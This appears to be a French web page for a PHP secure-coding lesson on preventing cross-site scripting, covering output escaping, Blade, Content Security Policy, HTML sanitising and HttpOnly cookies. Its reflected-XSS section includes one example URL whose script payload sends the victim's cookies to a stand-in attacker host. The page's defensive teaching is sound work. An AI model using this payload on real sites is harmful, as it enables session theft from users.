0Pricing
PHP Academy · Leçon

Prévenir les attaques par script intersite (XSS)

Échapper la sortie avec htmlspecialchars et mettre en œuvre une politique de sécurité du contenu.

Prévenir les attaques par script intersite (XSS) est une leçon PHP Academy gratuite sur CoddyKit. Ceci est la leçon 1 sur 4. Tu peux lire la leçon complète ci-dessous gratuitement — puis la pratiquer en direct dans le navigateur avec un éditeur de code intégré et un tuteur IA 24/7. Elle fait partie du parcours d'apprentissage PHP Academy, et ta progression se synchronise sur le web et l'application CoddyKit. Le cours PHP Academy comprend 4 leçons au total.

Qu’est-ce que le XSS ?

Le script intersite (XSS) se produit lorsqu’un attaquant injecte du JavaScript malveillant dans des pages web consultées par d’autres utilisateurs. Le script s’exécute dans le navigateur de la victime et peut accéder à sa session, à ses cookies et au DOM.

XSS réfléchi

La charge malveillante se trouve dans l’URL ou dans un paramètre de formulaire, puis est renvoyée par le serveur dans la réponse.

// Malicious URL:
https://example.com/search?q=<script>document.location="https://attacker.com/steal?c="+document.cookie</script>

XSS stocké

La charge est enregistrée dans la base de données (commentaire, champ de profil), puis affichée à tous les visiteurs qui consultent cette page.

XSS fondé sur le DOM

La vulnérabilité se trouve entièrement dans le JavaScript côté client, qui insère des données non fiables dans le DOM de manière non sécurisée à l’aide de innerHTML ou de document.write.

htmlspecialchars()

Échappez la sortie pour convertir les caractères spéciaux HTML en entités inoffensives. Échappez toujours les données fournies par l’utilisateur avant de les afficher.

<?php
echo htmlspecialchars($userInput, ENT_QUOTES | ENT_HTML5, "UTF-8");
// Converts: < > " ' & into HTML entities

Échappement automatique de Blade

La syntaxe {{ }} de Blade dans Laravel appelle automatiquement htmlspecialchars. Utilisez {!! !!} uniquement pour du HTML fiable et assaini.

{{-- Safe: --}}
<h1>{{ $user->name }}</h1>

{{-- Dangerous if $content is untrusted: --}}
<div>{!! $content !!}</div>

Politique de sécurité du contenu (CSP)

Un en-tête HTTP CSP indique aux navigateurs de n’exécuter que les scripts provenant de sources fiables, bloquant ainsi les scripts intégrés injectés même s’ils atteignent la page.

<?php
$response->headers->set("Content-Security-Policy",
    "default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'"
);

Assainissement des données HTML saisies

Si vous devez autoriser la saisie de HTML enrichi (par exemple avec un éditeur WYSIWYG), assainissez-la à l’aide d’une bibliothèque utilisant une liste blanche, comme HTML Purifier ou le paquet Laravel mews/purifier.

<?php
// Using HTMLPurifier:
$purifier = new HTMLPurifier();
$cleanHtml = $purifier->purify($dirtyHtml);

En-tête X-XSS-Protection

Ajoutez l’en-tête X-XSS-Protection: 1; mode=block pour prendre en charge les anciens navigateurs. Les navigateurs modernes s’appuient plutôt sur la CSP.

Cookies HttpOnly

Définir l’indicateur HttpOnly sur les cookies de session empêche JavaScript de les lire, ce qui limite le vol de session fondé sur le XSS, même lorsqu’un script est injecté.

Validation des URL

N’insérez jamais d’URL fournies par l’utilisateur dans href ou src sans les valider. Un URI javascript: peut exécuter du XSS.

<?php
$url = filter_var($input, FILTER_VALIDATE_URL);
if ($url === false || !in_array(parse_url($url, PHP_URL_SCHEME), ["http", "https"])) {
    $url = "#"; // fallback
}

Résumé

Échappez toujours la sortie avec htmlspecialchars (ou avec {{ }} de Blade). Ajoutez une politique de sécurité du contenu. Assainissez les données HTML saisies avec une bibliothèque utilisant une liste blanche. Utilisez des cookies HttpOnly.

Vérification rapide

Quelle fonction PHP convertit les caractères spéciaux HTML en entités ?

Questions Fréquemment Posées

La leçon « Prévenir les attaques par script intersite (XSS) » est-elle gratuite ?

Oui — le texte complet de « Prévenir les attaques par script intersite (XSS) » est gratuit à lire ici sur le web. Pour la pratiquer de manière interactive (un éditeur de code intégré et un tuteur IA 24/7) et déverrouiller le reste du cours PHP Academy, passe à CoddyKit PRO. Le cours PHP Academy comprend 4 leçons au total.

Qu'est-ce que j'apprendrai dans « Prévenir les attaques par script intersite (XSS) » ?

Échapper la sortie avec htmlspecialchars et mettre en œuvre une politique de sécurité du contenu. Tu pratiques PHP Academy avec du code pratique que tu exécutes directement dans le navigateur, et un tuteur IA 24/7 répond à tes questions au fur et à mesure que tu avances dans la leçon.

Dois-je avoir de l'expérience pour commencer PHP Academy ?

Aucune expérience préalable n'est requise. PHP Academy sur CoddyKit est structuré pour les débutants jusqu'aux apprenants avancés, donc tu peux commencer ici ou depuis le début et avancer à ton rythme. Ceci est la leçon 1 sur 4.

Combien de temps prend la leçon « Prévenir les attaques par script intersite (XSS) » ?

La plupart des leçons CoddyKit prennent environ 5–10 minutes. Chacune est courte et interactive, tu progresses régulièrement et tu repiques exactement où tu t'es arrêté sur le web et l'app.

Peux-tu écrire et exécuter du code dans cette leçon PHP Academy ?

Oui. Chaque leçon PHP Academy inclut un éditeur de code intégré, tu écris et exécutes du vrai code directement dans ton navigateur et tu reçois des retours IA instantanés — aucune configuration locale requise.

Toutes les leçons de ce cours

  1. Prévenir les attaques par script intersite (XSS)
  2. Injection SQL et requêtes paramétrées
  3. Protection contre les attaques CSRF
  4. Stockage sécurisé des mots de passe
← Retour à PHP Academy